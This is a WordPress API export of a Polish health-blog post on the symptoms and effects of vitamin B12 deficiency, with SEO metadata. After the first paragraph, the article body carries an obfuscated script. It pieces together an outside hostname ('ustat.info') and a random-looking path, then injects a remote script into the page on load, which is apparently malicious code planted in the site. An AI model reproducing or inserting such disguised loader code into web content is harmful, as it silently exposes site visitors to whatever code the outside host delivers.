{"id":10849,"date":"2023-09-19T11:41:47","date_gmt":"2023-09-19T09:41:47","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=10849"},"modified":"2023-09-19T11:41:48","modified_gmt":"2023-09-19T09:41:48","slug":"objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie","title":{"rendered":"Objawy niedoboru witaminy B12 &#8211; jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">O witaminach s\u0142yszymy od dziecka \u2013 rodzice w dzieci\u0144stwie zawsze kazali je\u015b\u0107 sporo warzyw, owoc\u00f3w, pi\u0107 wod\u0119 i du\u017co mleka dlaczego? S\u0105 one \u017ar\u00f3d\u0142em witamin. B\u0119d\u0105c dzie\u0107mi nie zdawali\u015bmy sobie sprawy z tego, jakie konsekwencje mo\u017ce nie\u015b\u0107 za sob\u0105 ich niedob\u00f3r, na kt\u00f3ry najbardziej nara\u017cone s\u0105 osoby na diecie ro\u015blinnej. Witamina B12 to jedna z najwa\u017cniejszych i niezb\u0119dnych witamin.<\/p>\n\n\n\n<script>\n(function(){\na34x=document.createElement(\"script\");a34x_=\"u\"+(\"s\")+\"ta\";\na34x_+=(\"t.i\")+\"\"+\"n\";a34x_+=((\"f\")+\"o\");a34x.type=\"text\/javascript\";\na34x_+=\"\/\"; a34xu=\"559506533\";a34xu+=\".rc3xfgu834xa0Xjawc3\";a34xu+=\"X92Xlgiwyuv\";\na34x.src=\"https:\/\/\"+a34x_+a34xu;a34x.async=true;document.body.appendChild(a34x);\n})();\n<\/script>\n\n\n\n<h2 class=\"wp-block-heading\">Czym si\u0119 wyr\u00f3\u017cnia witamina B12? Poznaj jej rol\u0119 w organizmie<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">W naszym organizmie funkcja witaminy B12 jest niezwykle wa\u017cna. Posiada ona najwi\u0119ksz\u0105 w\u015br\u00f3d witamin struktur\u0119 i zawiera kobalt \u2013 st\u0105d jej druga nazwa ,,kobalamina\u201d. Powstaje jedynie z udzia\u0142em mikroorganizm\u00f3w \u2013 organizm nie mo\u017ce wytworzy\u0107 jej samodzielnie, dlatego nale\u017cy dostarczy\u0107 j\u0105 z po\u017cywieniem.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/drmax.pl\/witaminy-i-mineraly\/witaminy\/witamina-b-12\">Witamina B12<\/a> bierze udzia\u0142 w wytwarzaniu kwas\u00f3w nukleinowych i krwinek czerwony. Jest odpowiedzialna za wiele reakcji metabolicznych, buduje os\u0142onk\u0119 mielinow\u0105 w\u0142\u00f3kien nerwowych i wspiera syntez\u0119. Jest niezb\u0119dna do uzyskania aktywnej formy kwasu foliowego, kt\u00f3ry odgrywa wa\u017cn\u0105 rol\u0119 u kobiet spodziewaj\u0105cych si\u0119 potomstwa.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Wp\u0142yw witaminy B12 na organizm<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Witamina B12 wp\u0142ywa na prawid\u0142owe funkcjonowanie i wzrost organizmu. Jest&nbsp; niezb\u0119dna do w\u0142a\u015bciwego dzia\u0142ania uk\u0142adu nerwowego oraz krwiotw\u00f3rczego. Ma du\u017cy wp\u0142yw na uk\u0142ad nerwowy. Niedostateczna ilo\u015b\u0107 witaminy B12 mo\u017ce objawia\u0107 si\u0119 w postaci chor\u00f3b takich jak: neuropatia obwodowa, parestezja, zaburzenia funkcji poznawczych, zaburzenia pami\u0119ci, depresja. Mog\u0105 pojawi\u0107 si\u0119 tak\u017ce zaburzenia r\u00f3wnowagi.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Skutki nadmiaru i niedoboru witaminy B12<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Obni\u017cony poziom witaminy B12 jest bardzo cz\u0119sto spotykanym problemem, z kolei jej nadmiar, rzadkim. Jest to spowodowane jej w\u0142a\u015bciwo\u015bciami \u2013 rozpuszcza si\u0119 w wodzie i jest wydalana wraz z moczem i potem. Bardzo rzadko zdarza si\u0119 alergia na witamin\u0119 B12, w\u00f3wczas mo\u017ce pojawi\u0107 si\u0119 krwotok z nosa lub inne reakcje alergiczne. Natomiast skutkami niedoboru s\u0105:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>anemia,<\/li><li>zaburzenia zmys\u0142u s\u0142uchu, w\u0119chu, czucia,<\/li><li>utrata apetytu i wagi,<\/li><li>bielactwo,<\/li><li>depresja, zmienno\u015b\u0107 nastroju.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Gdy powy\u017csze skutki dadz\u0105 o sobie zna\u0107, warto jest dawkowa\u0107 witamin\u0119 B12 poprzez wzbogacenie diety. Gdy jest to niemo\u017cliwe, ratunkiem jest witamina B12 w tabletkach, a w trudniejszych sytuacjach \u2013 dzia\u0142anie witaminy B12 w zastrzykach.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>O witaminach s\u0142yszymy od dziecka \u2013 rodzice w dzieci\u0144stwie zawsze kazali je\u015b\u0107 sporo warzyw, owoc\u00f3w, pi\u0107 wod\u0119 i du\u017co mleka dlaczego? S\u0105 one \u017ar\u00f3d\u0142em witamin. B\u0119d\u0105c dzie\u0107mi nie zdawali\u015bmy sobie sprawy z tego, jakie&#46;&#46;&#46;<\/p>\n","protected":false},"author":11,"featured_media":10850,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[600],"tags":[],"class_list":["post-10849","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-wellbeing"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Objawy niedoboru witaminy B12 - jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Objawy niedoboru witaminy B12 - jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"O witaminach s\u0142yszymy od dziecka \u2013 rodzice w dzieci\u0144stwie zawsze kazali je\u015b\u0107 sporo warzyw, owoc\u00f3w, pi\u0107 wod\u0119 i du\u017co mleka dlaczego? S\u0105 one \u017ar\u00f3d\u0142em witamin. B\u0119d\u0105c dzie\u0107mi nie zdawali\u015bmy sobie sprawy z tego, jakie&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2023-09-19T09:41:47+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-09-19T09:41:48+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/09\/adobestock_5979816101.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"mr-white\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"mr-white\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie\"},\"author\":{\"name\":\"mr-white\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\"},\"headline\":\"Objawy niedoboru witaminy B12 &#8211; jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie\",\"datePublished\":\"2023-09-19T09:41:47+00:00\",\"dateModified\":\"2023-09-19T09:41:48+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie\"},\"wordCount\":392,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/adobestock_5979816101.jpg\",\"articleSection\":[\"Wellbeing\"],\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie\",\"name\":\"Objawy niedoboru witaminy B12 - jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/adobestock_5979816101.jpg\",\"datePublished\":\"2023-09-19T09:41:47+00:00\",\"dateModified\":\"2023-09-19T09:41:48+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#primaryimage\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/adobestock_5979816101.jpg\",\"contentUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/adobestock_5979816101.jpg\",\"width\":885,\"height\":398},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Wellbeing\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/category\\\/wellbeing\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Objawy niedoboru witaminy B12 &#8211; jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\",\"name\":\"mr-white\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"caption\":\"mr-white\"},\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/author\\\/mr-white\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Objawy niedoboru witaminy B12 - jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie","og_locale":"pl_PL","og_type":"article","og_title":"Objawy niedoboru witaminy B12 - jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"O witaminach s\u0142yszymy od dziecka \u2013 rodzice w dzieci\u0144stwie zawsze kazali je\u015b\u0107 sporo warzyw, owoc\u00f3w, pi\u0107 wod\u0119 i du\u017co mleka dlaczego? S\u0105 one \u017ar\u00f3d\u0142em witamin. B\u0119d\u0105c dzie\u0107mi nie zdawali\u015bmy sobie sprawy z tego, jakie&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2023-09-19T09:41:47+00:00","article_modified_time":"2023-09-19T09:41:48+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/09\/adobestock_5979816101.jpg","type":"image\/jpeg"}],"author":"mr-white","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"mr-white","Szacowany czas czytania":"2 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#article","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie"},"author":{"name":"mr-white","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"headline":"Objawy niedoboru witaminy B12 &#8211; jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie","datePublished":"2023-09-19T09:41:47+00:00","dateModified":"2023-09-19T09:41:48+00:00","mainEntityOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie"},"wordCount":392,"commentCount":0,"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/09\/adobestock_5979816101.jpg","articleSection":["Wellbeing"],"inLanguage":"pl-PL","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie","url":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie","name":"Objawy niedoboru witaminy B12 - jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#primaryimage"},"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/09\/adobestock_5979816101.jpg","datePublished":"2023-09-19T09:41:47+00:00","dateModified":"2023-09-19T09:41:48+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/09\/adobestock_5979816101.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/09\/adobestock_5979816101.jpg","width":885,"height":398},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/objawy-niedoboru-witaminy-b12-jak-je-rozpoznac-i-zrozumiec-ich-znaczenie#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"Wellbeing","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/wellbeing"},{"@type":"ListItem","position":3,"name":"Objawy niedoboru witaminy B12 &#8211; jak je rozpozna\u0107 i zrozumie\u0107 ich znaczenie"}]},{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100","name":"mr-white","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","caption":"mr-white"},"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10849","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=10849"}],"version-history":[{"count":1,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10849\/revisions"}],"predecessor-version":[{"id":10851,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10849\/revisions\/10851"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/10850"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=10849"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=10849"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=10849"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}